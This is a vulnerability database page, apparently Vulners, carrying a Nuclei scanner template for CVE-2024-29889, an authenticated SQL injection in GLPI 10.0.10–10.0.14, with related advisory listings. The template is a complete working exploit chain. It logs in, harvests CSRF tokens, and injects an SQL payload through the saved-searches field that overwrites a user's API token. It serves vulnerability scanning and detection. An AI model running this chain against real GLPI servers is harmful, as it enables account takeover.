Lucene search
+L

GLPI 10.0.10-10.0.14 - SQL Injection

🗓️ 25 Oct 2026 02:06:46Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 245 Views

GLPI 10.0.10-10.0.14 SQL Injection allows altering and controlling user dat

Related
Refs
Code
ReporterTitlePublishedViews
Family
freebsd
FreeBSD
GLPI -- multiple vulnerabilities
3 Apr 202400:00
–freebsd
bdu_fstec
BDU FSTEC
GLPI SQL Injection
27 Apr 202400:00
–bdu_fstec
circl
Circl
CVE-2024-29889
5 Sep 202420:46
–circl
cnnvd
CNNVD
GLPI security vulnerabilities
7 May 202400:00
–cnnvd
cve
CVE
CVE-2024-29889
7 May 202414:05
–cve
cvelist
Cvelist
CVE-2024-29889 GLPI contains an SQL injection through the saved searches
7 May 202414:05
–cvelist
nessus
Tenable Nessus
FreeBSD : GLPI -- multiple vulnerabilities (5da8b1e6-0591-11ef-9e00-080027957747)
29 Apr 202400:00
–nessus
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2024-29889
3 Sep 202500:00
–nessus
kitploit
Kitploit
CVE-repository
25 Oct 202613:15
–kitploit
mend
Mend
CVE-2024-29889
7 May 202414:05
–mend
Rows per page
id: CVE-2024-29889

info:
  name: GLPI 10.0.10-10.0.14 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    GLPI is a Free Asset and IT Management Software package. Prior to 10.0.15, an authenticated user can exploit a SQL injection vulnerability in the saved searches feature to alter another user account data take control of it.
  impact: |
    SQL Injection vulnerability in GLPI versions 10.0.10-10.0.14 allows an attacker to alter another user account data and take control of it.
  remediation: |
    This vulnerability is fixed in 10.0.15.
  reference:
    - https://sensepost.com/blog/2024/from-a-glpi-patch-bypass-to-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29889
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 7.1
    cve-id: CVE-2024-29889
    cwe-id: CWE-89
    epss-score: 0.64691
    epss-percentile: 0.99245
    cpe: cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 8
    vendor: glpi-project
    product: glpi
    shodan-query: http.title:"glpi"
  tags: cve,cve2024,glpi,sqli,authenticated,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7) && http(8)

http:
  - raw:
      - |
        GET /index.php?noAUTO=1 HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: fieldlogin
        part: body
        group: 1
        regex:
          - id="login_name" name="([a-z0-9]+)
        internal: true

      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - name="_glpi_csrf_token" value="([0-9a-z]+)
        internal: true

      - type: regex
        name: fieldpassword
        part: body
        group: 1
        regex:
          - id="login_password" name="([0-9a-z]+)
        internal: true

  - raw:
      - |
        POST /front/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        noAUTO=1&redirect=&_glpi_csrf_token={{csrf}}&{{fieldlogin}}={{username}}&{{fieldpassword}}={{password}}&auth=local&submit=

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(location,'front/central.php')
        condition: and
        internal: true

  - raw:
      - |
        GET /ajax/common.tabs.php?_glpi_tab=User%241&main_class=tab_cadre_fixe&_target=%2Fglpi%2Ffront%2Fpreference.php&_itemtype=Preference&id=0 HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: id
        part: body
        group: 1
        regex:
          - type='hidden' name='id' value='([0-9]+)'
        internal: true

  - raw:
      - |
        GET /front/preference.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf2
        part: body
        group: 1
        regex:
          - type="hidden" name="_glpi_csrf_token" value="(.*?)"
        internal: true

  - raw:
      - |
        POST /front/preference.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRNyVHuSeiTMi2G7K

        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="savedsearches_pinned"

        {"exploit":"',api_token='{{randstr}}' where id={{id}};-- -"}
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="_glpi_csrf_token"

        {{csrf2}}
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="name"

        glpi
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="id"

        {{id}}
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="realname"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="_uploader_picture[]"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="_blank_picture"

        0
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="firstname"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="language"

        en_US
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="password"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="password2"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="phone"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="_useremails[-1]"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="mobile"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="phone2"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="registration_number"


        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="locations_id"

        0
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="use_mode"

        0
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="_reset_api_token"

        0
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K
        Content-Disposition: form-data; name="update"

        Save
        ------WebKitFormBoundaryRNyVHuSeiTMi2G7K--

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
        condition: and
        internal: true

  - raw:
      - |
        GET /front/preference.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf3
        part: body
        group: 1
        regex:
          - type="hidden" name="_glpi_csrf_token" value="(.*?)"
        internal: true

  - raw:
      - |
        POST /ajax/pin_savedsearches.php HTTP/1.1
        Host: {{Hostname}}
        X-Glpi-Csrf-Token: {{csrf3}}
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        itemtype=Monitor

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body,"\"success\":true")
        condition: and
        internal: true

  - raw:
      - |
        GET /ajax/common.tabs.php?_glpi_tab=User%241&main_class=tab_cadre_fixe&_target=%2Fglpi%2Ffront%2Fpreference.php&_itemtype=Preference&id=0 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body,"name=\"_api_token\" value=\"{{randstr}}")
        condition: and
# digest: 490a0046304402200abad8190baf4acfde855ddc85692ae4a435077b3b6c63f2a9169759ee7ced230220151bf33cc9f053e04ec1647e57313c81be250970360578339b3a848faf554e56:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
8.2High risk
Vulners AI Score8.2
CVSS 3.17.1 - 8.1
EPSS0.64691
SSVC
245